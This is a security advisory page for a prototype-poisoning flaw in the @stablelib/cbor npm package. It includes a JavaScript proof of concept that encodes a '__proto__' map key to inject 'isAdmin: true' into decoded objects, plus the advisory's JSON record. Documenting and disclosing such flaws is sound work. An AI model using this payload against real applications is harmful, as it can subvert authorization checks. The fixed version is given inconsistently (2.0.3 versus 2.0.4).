GHSA-W48F-FWG7-WW6P

Vulnerability from github – Published: 2026-04-04 04:24 – Updated: 2026-04-07 14:23
VLAI
Summary
@stablelib/cbor: Prototype poisoning via `__proto__` map keys in CBOR decoding
Details

Summary

@stablelib/cbor decodes CBOR maps into ordinary JavaScript objects and assigns attacker-controlled keys directly onto those objects. A CBOR map key named __proto__ therefore changes the prototype of the decoded object instead of becoming an ordinary data property.

Details

The decoder builds map results with a plain {} and then stores attacker-controlled keys using bracket assignment.

That is unsafe for special property names. In JavaScript, assigning to obj["__proto__"] on a normal object does not create a plain own property. It invokes the built-in __proto__ setter and replaces the object’s prototype if the supplied value is an object or null.

As a result, a CBOR payload containing a map entry like:

  • key: "__proto__"
  • value: { isAdmin: true }

does not decode to an object with an own property called __proto__. It decodes to an object whose prototype is now attacker-controlled. Any code that later reads properties through normal lookup will see inherited attacker-supplied values.

PoC

import { decode } from "@stablelib/cbor";

// CBOR:
// {
//   "__proto__": { "isAdmin": true }
// }
//
// a1                    map(1)
//   69                  text(9)
//     "__proto__"
//   a1                  map(1)
//     67                text(7)
//       "isAdmin"
//     f5                true

const payload = new Uint8Array([
  0xa1,
  0x69, 0x5f, 0x5f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x5f, 0x5f,
  0xa1,
  0x67, 0x69, 0x73, 0x41, 0x64, 0x6d, 0x69, 0x6e,
  0xf5
]);

const obj = decode(payload);

console.log(Object.hasOwn(obj, "isAdmin")); // false
console.log(obj.isAdmin);                   // true
console.log(Object.getPrototypeOf(obj).isAdmin); // true

Impact

Any application that decodes untrusted CBOR into JavaScript objects can receive objects with attacker-controlled prototypes.

In practice, that can corrupt configuration objects, influence authorization checks, alter feature flags, and break application logic that relies on normal property lookup instead of strict own-property checks. If the decoded object is later merged into other objects, the impact can spread further.

Solution

Upgrade to version 2.0.4.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@stablelib/cbor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-04T04:24:27Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`@stablelib/cbor` decodes CBOR maps into ordinary JavaScript objects and assigns attacker-controlled keys directly onto those objects. A CBOR map key named `__proto__` therefore changes the prototype of the decoded object instead of becoming an ordinary data property.\n\n### Details\n\nThe decoder builds map results with a plain `{}` and then stores attacker-controlled keys using bracket assignment.\n\nThat is unsafe for special property names. In JavaScript, assigning to `obj[\"__proto__\"]` on a normal object does not create a plain own property. It invokes the built-in `__proto__` setter and replaces the object\u2019s prototype if the supplied value is an object or `null`.\n\nAs a result, a CBOR payload containing a map entry like:\n\n* key: `\"__proto__\"`\n* value: `{ isAdmin: true }`\n\ndoes not decode to an object with an own property called `__proto__`. It decodes to an object whose prototype is now attacker-controlled. Any code that later reads properties through normal lookup will see inherited attacker-supplied values.\n\n### PoC\n\n```js\nimport { decode } from \"@stablelib/cbor\";\n\n// CBOR:\n// {\n//   \"__proto__\": { \"isAdmin\": true }\n// }\n//\n// a1                    map(1)\n//   69                  text(9)\n//     \"__proto__\"\n//   a1                  map(1)\n//     67                text(7)\n//       \"isAdmin\"\n//     f5                true\n\nconst payload = new Uint8Array([\n  0xa1,\n  0x69, 0x5f, 0x5f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x5f, 0x5f,\n  0xa1,\n  0x67, 0x69, 0x73, 0x41, 0x64, 0x6d, 0x69, 0x6e,\n  0xf5\n]);\n\nconst obj = decode(payload);\n\nconsole.log(Object.hasOwn(obj, \"isAdmin\")); // false\nconsole.log(obj.isAdmin);                   // true\nconsole.log(Object.getPrototypeOf(obj).isAdmin); // true\n```\n\n### Impact\n\nAny application that decodes untrusted CBOR into JavaScript objects can receive objects with attacker-controlled prototypes.\n\nIn practice, that can corrupt configuration objects, influence authorization checks, alter feature flags, and break application logic that relies on normal property lookup instead of strict own-property checks. If the decoded object is later merged into other objects, the impact can spread further.\n\n### Solution\n\nUpgrade to version 2.0.4.",
  "id": "GHSA-w48f-fwg7-ww6p",
  "modified": "2026-04-07T14:23:12Z",
  "published": "2026-04-04T04:24:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/StableLib/stablelib/security/advisories/GHSA-w48f-fwg7-ww6p"
    },
    {
      "type": "WEB",
      "url": "https://github.com/StableLib/stablelib/commit/0f153a63b7552a0e8721f640984113e419015026"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/StableLib/stablelib"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@stablelib/cbor: Prototype poisoning via `__proto__` map keys in CBOR decoding"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…